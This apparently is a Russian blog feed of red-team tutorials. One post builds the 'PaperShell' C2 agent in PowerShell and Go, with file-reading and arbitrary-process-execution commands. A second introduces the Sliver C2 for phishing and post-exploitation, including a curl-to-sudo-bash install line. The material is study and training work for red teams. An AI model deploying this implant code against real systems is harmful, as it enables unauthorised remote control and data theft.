	TaskId  string &amp;#x60;json:&amp;quot;taskId&amp;quot;&amp;#x60;
}

func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
	var outTasks []adaptix.TaskData
	var resultData []ResultData

	err := json.Unmarshal(packedData, &amp;amp;resultData)
	if err != nil {
		return outTasks
	}

	for _, taskResult := range resultData {
		command := taskResult.Command

		switch command {
		case &amp;quot;cat&amp;quot;:
			path := taskResult.Path
			fileContent := taskResult.Content
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&amp;quot;&amp;#x27;%v&amp;#x27; file content:&amp;quot;, path)
			task.ClearText = string(fileContent)
			outTasks = append(outTasks, task)
		default:
			continue
		}
	}

	return outTasks
}&lt;/pre&gt;
  &lt;p id=&quot;qBC5&quot;&gt;Пересоберём агента для теста и проверим:&lt;/p&gt;
  &lt;pre id=&quot;EZvD&quot;&gt;make&lt;/pre&gt;
  &lt;figure id=&quot;uwms&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ad/d4/add4e977-09bd-4827-aed7-77528e21f629.png&quot; width=&quot;677&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;xygO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0e/04/0e04c544-f5a3-47a2-be34-fa1310f13f51.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zD8l&quot;&gt;Отлично, всё работает!&lt;/p&gt;
  &lt;h3 id=&quot;ydpW&quot;&gt;Добавляем оставшиеся функции&lt;/h3&gt;
  &lt;p id=&quot;cLfr&quot;&gt;Теперь реализуем функции работы с файловой системой (cd, ls).&lt;/p&gt;
  &lt;p id=&quot;7Fe3&quot;&gt;На агенте (src_papershell/agent.ps1):&lt;/p&gt;
  &lt;pre id=&quot;wNPa&quot; data-lang=&quot;powershell&quot;&gt;        elseif ($data.command -eq &amp;quot;cd&amp;quot;) {
            $path = $data.path
            Set-Location -Path $path -ErrorAction Stop[Environment]::CurrentDirectory = (Get-Location -PSProvider FileSystem).ProviderPath # For .NET
            $currentLocation = Get-Location
            $responseData = @{
                command = $data.command
                path = $path
                new_path = $currentLocation.Path
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        } elseif ($data.command -eq &amp;quot;ls&amp;quot;) {
            $path = if ($data.path) { $data.path } else { Get-Location } # If no path is sent, ls current dir
            $path = $path.Path
            $items = Get-ChildItem -Path $path -ErrorAction Stop
            $fileList = @()
            foreach ($item in $items) {
                $fileList += [PSCustomObject]@{
                    Name = $item.Name
                    FullName = $item.FullName
                    IsDirectory = $item.PSIsContainer
                    Length = if ($item.PSIsContainer) { $null } else { $item.Length }
                    LastWriteTime = $item.LastWriteTime
                }
            }
            $responseData = @{
                command = $data.command
                path = $path
                files = $fileList
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }&lt;/pre&gt;
  &lt;p id=&quot;bJR8&quot;&gt;На сервере (pl_agent.go):&lt;/p&gt;
  &lt;pre id=&quot;OliW&quot; data-lang=&quot;go&quot;&gt;func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
	var (
		taskData    adaptix.TaskData
		messageData adaptix.ConsoleMessageData
		err         error
	)

	command, ok := args[&amp;quot;command&amp;quot;].(string)
	if !ok {
		return taskData, messageData, errors.New(&amp;quot;&amp;#x27;command&amp;#x27; must be set&amp;quot;)
	}
	// subcommand, _ := args[&amp;quot;subcommand&amp;quot;].(string)

	taskData = adaptix.TaskData{
		Type: TYPE_TASK,
		Sync: true,
	}

	messageData = adaptix.ConsoleMessageData{
		Status: MESSAGE_INFO,
		Text:   &amp;quot;&amp;quot;,
	}
	messageData.Message, _ = args[&amp;quot;message&amp;quot;].(string)

	commandData := make(map[string]string)

	commandData[&amp;quot;command&amp;quot;] = command

	switch command {
	case &amp;quot;cat&amp;quot;:
		path, ok := args[&amp;quot;path&amp;quot;].(string)
		if !ok {
			err = errors.New(&amp;quot;paramter &amp;#x27;path&amp;#x27; must be set&amp;quot;)
			goto RET
		}
		commandData[&amp;quot;path&amp;quot;] = path
	case &amp;quot;cd&amp;quot;:
		path, ok := args[&amp;quot;path&amp;quot;].(string)
		if !ok {
			err = errors.New(&amp;quot;parameter &amp;#x27;path&amp;#x27; must be set&amp;quot;)
			goto RET
		}
		commandData[&amp;quot;path&amp;quot;] = path
	case &amp;quot;ls&amp;quot;:
		// path is optional for ls, use current directory if not provided
		if path, ok := args[&amp;quot;path&amp;quot;].(string); ok {
			commandData[&amp;quot;path&amp;quot;] = path
		}
	default:
		err = errors.New(fmt.Sprintf(&amp;quot;Command &amp;#x27;%v&amp;#x27; not found&amp;quot;, command))
		goto RET
	}

	taskData.Data, err = json.Marshal(commandData)
	if err != nil {
		goto RET
	}

RET:
	return taskData, messageData, err
}&lt;/pre&gt;
  &lt;pre id=&quot;OliW&quot; data-lang=&quot;go&quot;&gt;type ResultData struct {
	Path    string     &amp;#x60;json:&amp;quot;path&amp;quot;&amp;#x60;
	Command string     &amp;#x60;json:&amp;quot;command&amp;quot;&amp;#x60;
	Content []byte     &amp;#x60;json:&amp;quot;content,omitempty&amp;quot;&amp;#x60;
	TaskId  string     &amp;#x60;json:&amp;quot;taskId&amp;quot;&amp;#x60;
	NewPath string     &amp;#x60;json:&amp;quot;new_path,omitempty&amp;quot;&amp;#x60;
	Files   []FileInfo &amp;#x60;json:&amp;quot;files,omitempty&amp;quot;&amp;#x60;
}

type FileInfo struct {
	Name          string &amp;#x60;json:&amp;quot;Name&amp;quot;&amp;#x60;
	FullName      string &amp;#x60;json:&amp;quot;FullName&amp;quot;&amp;#x60;
	IsDirectory   bool   &amp;#x60;json:&amp;quot;IsDirectory&amp;quot;&amp;#x60;
	Length        *int64 &amp;#x60;json:&amp;quot;Length,omitempty&amp;quot;&amp;#x60;
	LastWriteTime string &amp;#x60;json:&amp;quot;LastWriteTime&amp;quot;&amp;#x60;
}

func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
	var outTasks []adaptix.TaskData
	var resultData []ResultData

	err := json.Unmarshal(packedData, &amp;amp;resultData)
	if err != nil {
		return outTasks
	}

	for _, taskResult := range resultData {
		command := taskResult.Command

		switch command {
		case &amp;quot;cat&amp;quot;:
			path := taskResult.Path
			fileContent := taskResult.Content
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&amp;quot;&amp;#x27;%v&amp;#x27; file content:&amp;quot;, path)
			task.ClearText = string(fileContent)
			outTasks = append(outTasks, task)
		case &amp;quot;cd&amp;quot;:
			path := taskResult.Path
			newPath := taskResult.NewPath
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&amp;quot;Changed directory to: %s&amp;quot;, newPath)
			task.ClearText = fmt.Sprintf(&amp;quot;Previous path: %s\nCurrent path: %s&amp;quot;, path, newPath)
			outTasks = append(outTasks, task)

		case &amp;quot;ls&amp;quot;:
			path := taskResult.Path
			files := taskResult.Files
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&amp;quot;Directory listing for: %s&amp;quot;, path)

			var output strings.Builder
			output.WriteString(fmt.Sprintf(&amp;quot;Contents of: %s\n\n&amp;quot;, path))

			for _, file := range files {
				if file.IsDirectory {
					output.WriteString(fmt.Sprintf(&amp;quot;[DIR]  %s\n&amp;quot;, file.Name))
				} else {
					size := &amp;quot;0&amp;quot;
					if file.Length != nil {
						size = fmt.Sprintf(&amp;quot;%d&amp;quot;, *file.Length)
					}
					output.WriteString(fmt.Sprintf(&amp;quot;[FILE] %s (%s bytes)\n&amp;quot;, file.Name, size))
				}
			}

			task.ClearText = output.String()
			outTasks = append(outTasks, task)
		default:
			continue
		}
	}

	return outTasks
}&lt;/pre&gt;
  &lt;p id=&quot;bs82&quot;&gt;AxScript:&lt;/p&gt;
  &lt;pre id=&quot;FDf3&quot; data-lang=&quot;javascript&quot;&gt;function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command(&amp;quot;cat&amp;quot;, &amp;quot;Read the specified file&amp;quot;, &amp;quot;cat C:\\file.exe&amp;quot;, &amp;quot;Task: read file&amp;quot;);
    cmd_cat.addArgString(&amp;quot;path&amp;quot;, true);
    
    let cmd_cd = ax.create_command(&amp;quot;cd&amp;quot;, &amp;quot;Change directory&amp;quot;, &amp;quot;cd C:\\Windows\\System32&amp;quot;, &amp;quot;Task: change directory&amp;quot;);
    cmd_cd.addArgString(&amp;quot;path&amp;quot;, true);
    
    let cmd_ls = ax.create_command(&amp;quot;ls&amp;quot;, &amp;quot;Get list of files and directories in path&amp;quot;, &amp;quot;ls C:\\e&amp;quot;, &amp;quot;Task: list directory&amp;quot;);
    cmd_ls.addArgString(&amp;quot;path&amp;quot;, false);

    if(listenerType == &amp;quot;PaperShellHTTP&amp;quot;) {
        let commands_external = ax.create_commands_group(&amp;quot;papershell&amp;quot;, [cmd_cat, cmd_cd, cmd_ls] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group(&amp;quot;none&amp;quot;,[]);
}&lt;/pre&gt;
  &lt;p id=&quot;Wo2D&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;8u48&quot;&gt;Проверим:&lt;/p&gt;
  &lt;figure id=&quot;cBtM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4a/b6/4ab6bb37-2405-45d2-9e6a-7d26a2ef12a6.png&quot; width=&quot;910&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;TyzQ&quot;&gt;Функции для запуска процессов.&lt;/p&gt;
  &lt;p id=&quot;dISH&quot;&gt;На агенте:&lt;/p&gt;
  &lt;pre id=&quot;YOdH&quot; data-lang=&quot;powershell&quot;&gt;} elseif ($data.command -eq &amp;quot;run&amp;quot;) {
            $executable = $data.executable
            $args = if ($data.args) { $data.args } else { &amp;quot;&amp;quot; }
            
            $processInfo = New-Object System.Diagnostics.ProcessStartInfo
            $processInfo.FileName = $executable
            $processInfo.Arguments = $args -join &amp;quot; &amp;quot;
            $processInfo.RedirectStandardOutput = $true
            $processInfo.RedirectStandardError = $true
            $processInfo.UseShellExecute = $false
            $processInfo.CreateNoWindow = $true
            
            $process = New-Object System.Diagnostics.Process
            $process.StartInfo = $processInfo
            $process.Start() | Out-Null
            
            $stdout = $process.StandardOutput.ReadToEnd()
            $stderr = $process.StandardError.ReadToEnd()
            $process.WaitForExit()
            
            $responseData = @{
                command = $data.command
                executable = $executable
                args = $args
                stdout = $stdout
                stderr = $stderr
                exitCode = $process.ExitCode
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }&lt;/pre&gt;
  &lt;p id=&quot;g5Nt&quot;&gt;На сервере:&lt;/p&gt;
  &lt;pre id=&quot;s1HY&quot; data-lang=&quot;go&quot;&gt;// CreateTask
...

	case &amp;quot;run&amp;quot;:
		executable, ok := args[&amp;quot;executable&amp;quot;].(string)
		if !ok {
			err = errors.New(&amp;quot;parameter &amp;#x27;executable&amp;#x27; must be set&amp;quot;)
			goto RET
		}
		commandData[&amp;quot;executable&amp;quot;] = executable

		if cmdArgs, ok := args[&amp;quot;args&amp;quot;].(string); ok {
			// Fields - это деление по пробелам
			commandData[&amp;quot;args&amp;quot;] = strings.Fields(cmdArgs)
		}
...&lt;/pre&gt;
  &lt;pre id=&quot;7suz&quot; data-lang=&quot;go&quot;&gt;// ProcessTaskResult
...
		case &amp;quot;run&amp;quot;:
			executable := taskResult.Executable
			args := taskResult.Args
			stdout := taskResult.Stdout
			stderr := taskResult.Stderr
			exitCode := taskResult.ExitCode

			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&amp;quot;Command executed: %s&amp;quot;, executable)

			var output strings.Builder
			output.WriteString(fmt.Sprintf(&amp;quot;Executable: %s\n&amp;quot;, executable))
			if len(args) &amp;gt; 0 {
				output.WriteString(fmt.Sprintf(&amp;quot;Arguments: %v\n&amp;quot;, args))
			}
			output.WriteString(fmt.Sprintf(&amp;quot;Exit Code: %d\n\n&amp;quot;, exitCode))

			if stdout != &amp;quot;&amp;quot; {
				output.WriteString(fmt.Sprintf(&amp;quot;STDOUT:\n%s\n&amp;quot;, stdout))
			}
			if stderr != &amp;quot;&amp;quot; {
				output.WriteString(fmt.Sprintf(&amp;quot;STDERR:\n%s\n&amp;quot;, stderr))
			}

			task.ClearText = output.String()
			outTasks = append(outTasks, task)
...&lt;/pre&gt;
  &lt;p id=&quot;WJM5&quot;&gt;AxScript:&lt;/p&gt;
  &lt;pre id=&quot;dWmd&quot; data-lang=&quot;javascript&quot;&gt;function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command(&amp;quot;cat&amp;quot;, &amp;quot;Read the specified file&amp;quot;, &amp;quot;cat C:\\file.exe&amp;quot;, &amp;quot;Task: read file&amp;quot;);
    cmd_cat.addArgString(&amp;quot;path&amp;quot;, true);
    
    let cmd_cd = ax.create_command(&amp;quot;cd&amp;quot;, &amp;quot;Change directory&amp;quot;, &amp;quot;cd C:\\Windows\\System32&amp;quot;, &amp;quot;Task: change directory&amp;quot;);
    cmd_cd.addArgString(&amp;quot;path&amp;quot;, true);
    
    let cmd_ls = ax.create_command(&amp;quot;ls&amp;quot;, &amp;quot;Get list of files and directories in path&amp;quot;, &amp;quot;ls C:\\e&amp;quot;, &amp;quot;Task: list directory&amp;quot;);
    cmd_ls.addArgString(&amp;quot;path&amp;quot;, false);

    let cmd_run = ax.create_command(&amp;quot;run&amp;quot;, &amp;quot;Run executable and receive output&amp;quot;, &amp;quot;run whoami /all&amp;quot;, &amp;quot;Task: run executable&amp;quot;);
    cmd_run.addArgString(&amp;quot;executable&amp;quot;, true);
    cmd_run.addArgString(&amp;quot;args&amp;quot;, false);

    if(listenerType == &amp;quot;PaperShellHTTP&amp;quot;) {
        let commands_external = ax.create_commands_group(&amp;quot;papershell&amp;quot;, [cmd_cat, cmd_cd, cmd_ls, cmd_run] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group(&amp;quot;none&amp;quot;,[]);
}&lt;/pre&gt;
  &lt;p id=&quot;NTsB&quot;&gt;Проверяем:&lt;/p&gt;
  &lt;figure id=&quot;Ebla&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/14/ec/14ec9b81-0804-4ba3-a8fd-0c939efac0eb.png&quot; width=&quot;1386&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;AXpT&quot;&gt;С этого момента добавлять функции стало просто и удобно. Надеюсь, эта заметка была для вас полезна :)&lt;/p&gt;
  &lt;p id=&quot;ZBwA&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;X0Aq&quot;&gt;Полный код PaperShell на GitHub:&lt;/p&gt;
  &lt;p id=&quot;3Prw&quot;&gt;&lt;a href=&quot;https://github.com/ArturLukianov/PaperShell&quot; target=&quot;_blank&quot;&gt;https://github.com/ArturLukianov/PaperShell&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>magnummalum:pArqZhViyXq</id><link rel="alternate" type="text/html" href="https://teletype.in/@magnummalum/pArqZhViyXq?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=magnummalum"></link><title>C2: sliver</title><published>2024-04-30T20:09:01.600Z</published><updated>2024-04-30T20:09:01.600Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/19/7b/197b245a-b03f-4229-83e6-a54d0c00dc19.png"></media:thumbnail><category term="c-2" label="c2"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/bc/c3/bcc3f3fe-c33f-4771-ab24-863c72ae7f18.png&quot;&gt;Вся информация предоставлена в образовательных или исследовательских целях</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;JEqT&quot;&gt;Вся информация предоставлена в образовательных или исследовательских целях&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;eWmu&quot;&gt;В этом посте мы познакомимся с C2 &lt;strong&gt;sliver&lt;/strong&gt;, научимся использовать его для проведения фишинговых атак и рассмотрим его возможности для постэксплуатации&lt;/p&gt;
  &lt;p id=&quot;IxVG&quot;&gt;Для начала немного вводной информации&lt;/p&gt;
  &lt;h2 id=&quot;za65&quot;&gt;Что такое C2?&lt;/h2&gt;
  &lt;p id=&quot;meYw&quot;&gt;C2 (Command&amp;amp;Control) - это сервер, через который операторы могут управлять разными устройствами. Операторы могут посылать разные команды на эти устройства, создавать/удалять файлы и делать прочие действия. В целом, звучит довольно безобидно. Но обычно C2 используют специалисты по тестированию или злоумышленники - это более стабильная, удобная и незаметная альтернатива обычным реверс-шеллам. Чаще всего, когда говорят про C2, вспоминают &lt;strong&gt;Cobalt Strike&lt;/strong&gt;. Но есть куда более близкая альтернатива которой на самом деле многие из нас уже пользовались - &lt;strong&gt;Metasploit&lt;/strong&gt; (и &lt;strong&gt;meterpreter&lt;/strong&gt;). В целом, от C2 обычно требуется следующее:&lt;/p&gt;
  &lt;ul id=&quot;pzdF&quot;&gt;
    &lt;li id=&quot;smbk&quot;&gt;Управление агентами - загрузка и выгрузка файлов, запуск процессов и прочие операции&lt;/li&gt;
    &lt;li id=&quot;uPn5&quot;&gt;Удаление/регистрация новых агентов. Обычно агенты выводятся графом, списком или табличкой. Оператор может выбрать нужного и дальше работать с ним&lt;/li&gt;
    &lt;li id=&quot;QCvV&quot;&gt;(Опционально) Чтобы с агентами могли работать сразу несколько операторов&lt;/li&gt;
    &lt;li id=&quot;jZQh&quot;&gt;(Опционально) Ведение логов операции для отчёта&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;cIq0&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;dFUl&quot;&gt;Чем выделяется &lt;strong&gt;sliver&lt;/strong&gt;?&lt;/h2&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;YNkP&quot;&gt;&lt;strong&gt;Sliver&lt;/strong&gt; - это кросс-платформенный фреймворк для эмуляции кибер-угроз и красных команд с открытым исходным кодом, который может быть использован организациями любого размера для проведения тестирования безопасности. Импланты Sliver поддерживают C2 через Mutual TLS (mTLS), WireGuard, HTTP(S) и DNS и динамически компилируются с двоичными ключами асимметричного шифрования.&lt;br /&gt;Сервер и клиент поддерживают MacOS, Windows и Linux. Импланты поддерживают MacOS, Windows и Linux.&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ZSPK&quot;&gt;Врочем, это вы могли прочитать из сами в описании &lt;strong&gt;sliver&lt;/strong&gt; на гитхабе. Если раскладывать по фактам, то можно отметить следующее:&lt;/p&gt;
  &lt;ul id=&quot;Pmkj&quot;&gt;
    &lt;li id=&quot;YncM&quot;&gt;Кросс-платформенные импланты - можно контроллировать как Windows, так и Linux (ещё в списке есть MacOS, но его я не проверял)&lt;/li&gt;
    &lt;li id=&quot;X5aV&quot;&gt;Поддерживает много разных протоколов, некоторые из которых хорошо смешиваются с трафиком, например HTTP(s) и DNS&lt;/li&gt;
    &lt;li id=&quot;nC8a&quot;&gt;Старается следовать OPSEC&lt;/li&gt;
    &lt;li id=&quot;0xVs&quot;&gt;Бесплатный и Open Source&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;huDc&quot;&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0&quot; target=&quot;_blank&quot;&gt;C2Matrix&lt;/a&gt; позволяет дополнить эту информацию:&lt;/p&gt;
  &lt;ul id=&quot;oZsg&quot;&gt;
    &lt;li id=&quot;Piba&quot;&gt;&lt;strong&gt;Sliver&lt;/strong&gt; использовался в реальных атаках&lt;/li&gt;
    &lt;li id=&quot;LsV8&quot;&gt;Поддержка нескольких операторов - можно использовать вместе с другими людьми&lt;/li&gt;
    &lt;li id=&quot;E1fv&quot;&gt;Поддерживает расширение через BOF (Beacon Object File). Значит можно будет использовать расширения (BOF) для Cobalt Strike&lt;/li&gt;
    &lt;li id=&quot;w13Z&quot;&gt;Implant, сервер и клиент написаны на Golang - то есть пейлоады будут большими по размеру&lt;/li&gt;
    &lt;li id=&quot;r50e&quot;&gt;Активно обновляется, версия v1.6.0 уже давно в бете, намечается много полезного функционала&lt;/li&gt;
    &lt;li id=&quot;2b1D&quot;&gt;Нет GUI&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;uYs3&quot;&gt;Про OPSEC:&lt;br /&gt;Когда вы играете за красную команду (или пентестите), то вашими &amp;quot;противниками&amp;quot; выступают СЗИ и SOC компании. Для того, чтобы защитить вашу инфраструктуру от них (а ещё от не-особо-этичных-хакеров) и не спалиться существует OPSEC. В контексте использования C2, OPSEC часто воспринимают как процедуры и рекомендации, которые помогут не насолить себе. Например, &amp;quot;не заливать mimikatz.exe на хост&amp;quot;. &lt;br /&gt;Кроме защиты от защитников, данные клиента нужно ещё защитить от реальных злоумышленников. Если ваш крякнутый кобальт сольёт весь &amp;quot;лут&amp;quot; или передаст управление имплантами третьим лицам и в результате этого произойдёт инцидент...&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;PWg6&quot;&gt;Установка&lt;/h2&gt;
  &lt;p id=&quot;oC1f&quot;&gt;Скачать и поставить &lt;strong&gt;sliver&lt;/strong&gt; можно одной строчкой (которую я скопировал прямо из доков):&lt;/p&gt;
  &lt;pre id=&quot;KKYT&quot; data-lang=&quot;bash&quot;&gt;curl https://sliver.sh/install|sudo bash&lt;/pre&gt;
  &lt;p id=&quot;TKjN&quot;&gt;Но хотелось бы напомнить про безопасность (ИБ, всё же). Лучше вначале загрузить этот шелл скрипт в файл, а потом запустить руками. А перед запуском можно спокойно посмотреть, что он там такого делает:&lt;/p&gt;
  &lt;pre id=&quot;rSLL&quot; data-lang=&quot;bash&quot;&gt;curl https://sliver.sh/install &amp;gt; sliver-installer.sh
vim sliver-installer.sh
sh ./sliver-installer.sh&lt;/pre&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;iNct&quot;&gt;Инсталлятор сливера ставит одновременно и сервер и клиента. Возможно вам не нужен сервер - тогда можно просто скачать клиента из релизов на гитхабе: &lt;a href=&quot;https://github.com/BishopFox/sliver/releases&quot; target=&quot;_blank&quot;&gt;https://github.com/BishopFox/sliver/releases&lt;/a&gt;&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;Ngge&quot;&gt;Создаём listener и beacon&lt;/h2&gt;
  &lt;p id=&quot;wmwa&quot;&gt;Запустим сервис &lt;strong&gt;sliver&lt;/strong&gt; (который отвечает за серверную часть и позволит другим операторам подключаться) и запустим клиента &lt;strong&gt;sliver&lt;/strong&gt;:&lt;/p&gt;
  &lt;figure id=&quot;Q3dH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/01/ee/01ee91cf-e770-422f-979b-3710a12976a1.png&quot; width=&quot;1101&quot; /&gt;
    &lt;figcaption&gt;Красивый ASCII баннер сливера. У него их, кстати, несколько.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7mWp&quot;&gt;Для того чтобы отдавать команды агентам и получать от них результат выполнения, нужно запустить &amp;quot;listener&amp;quot;. Listener слушает определённый порт и ожидает подключения по одному из доступных протоколов. Я буду использовать протокол &lt;strong&gt;mtls&lt;/strong&gt; на порту по умолчанию для этого протокола (8888):&lt;/p&gt;
  &lt;figure id=&quot;QGm6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/97/cf/97cf1aca-7606-48ef-a474-5a6b91b33c7a.png&quot; width=&quot;729&quot; /&gt;
    &lt;figcaption&gt;Список всех листенеров можно посмотреть через &amp;quot;jobs&amp;quot;&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;7yDF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9c/28/9c28067a-233e-46b8-9dc0-f088a60cb202.png&quot; width=&quot;1915&quot; /&gt;
    &lt;figcaption&gt;А в firefox сижу я и пишу эту заметку :)&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KY7I&quot;&gt;Теперь сгенерируем пейлоад. Мы будем использовать &amp;quot;beacon&amp;quot; - такой пейлоад менее заметен. Beacon будет стучаться на сервер с определённым интервалом - поэтому не ожидайте от него такой же отзывчивости как от reverse-shell:&lt;/p&gt;
  &lt;figure id=&quot;gKK7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/10/45/10455822-bece-415e-90f7-cc5afcf824b8.png&quot; width=&quot;956&quot; /&gt;
    &lt;figcaption&gt;Кстати, по умолчанию интервал отстука равен минуте + jitter в 30 секунд. У генерации бикона есть куда больше параметров, но их вы можете посмотреть сами :)&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;tUSm&quot;&gt;Кроме &amp;quot;beacon&amp;quot; в &lt;strong&gt;sliver&lt;/strong&gt; есть вид пейлоада &amp;quot;session&amp;quot;. Такой пейлоад реагирует на команды без задержки, поэтому с ним удобнее работать. Но в результате генерируется большое количество сетевого трафика и нас будет легче обнаружить&lt;br /&gt;&lt;br /&gt;Обычный &amp;quot;beacon&amp;quot; можно заставить создать нам сессию. Для этого используется команда &lt;code&gt;interactive&lt;/code&gt;&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qYYy&quot;&gt;Закинем пейлоад на тестовый стенд и посмотрим результат:&lt;/p&gt;
  &lt;figure id=&quot;dwzG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8e/3c/8e3c2c4e-084f-4f24-a758-d15165a359b7.png&quot; width=&quot;1652&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;xsXu&quot;&gt;Управление имплантом&lt;/h2&gt;
  &lt;p id=&quot;P0XT&quot;&gt;Немного поиграем с базовыми возможностями импланта. Сперва нужно выбрать имплант с которым мы будем взаимодействовать.&lt;/p&gt;
  &lt;p id=&quot;aKEj&quot;&gt;Посмотрим их список:&lt;/p&gt;
  &lt;figure id=&quot;TliO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/72/1f/721fdcd1-d4ec-4ca6-bf11-645f301618bd.png&quot; width=&quot;1630&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;m7uo&quot;&gt;Выберем нужный:&lt;/p&gt;
  &lt;figure id=&quot;VWkm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4f/9a/4f9a7ed7-e4c8-4459-a3a0-40b3582a8132.png&quot; width=&quot;1100&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;M78l&quot;&gt;Можно не писать полный uuid импланта, только начало. Но если у вас будет два uuid которые начинаются одинаково, sliver выберет первый из них и не предупредит - поэтому тут нужно быть внимательным&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;xM6u&quot;&gt;Посмотрим информацию о привилегиях процесса:&lt;/p&gt;
  &lt;figure id=&quot;Vrq4&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8b/d5/8bd5072c-94b4-4acb-818a-79b1daea2b2a.png&quot; width=&quot;1275&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZaE2&quot;&gt;Сейчас beacon долго отвечает, поэтому я изменю его настройки и сделаю интервал отстука в 10 секунд, а jitter в 0:&lt;/p&gt;
  &lt;figure id=&quot;pTQl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d3/49/d349dcc4-0890-44b6-9e77-96569ee4d202.png&quot; width=&quot;846&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ysvb&quot;&gt;Скачаем файл:&lt;/p&gt;
  &lt;figure id=&quot;yags&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/52/68/5268f2a3-6512-413c-88e1-1c3569eb6440.png&quot; width=&quot;1395&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
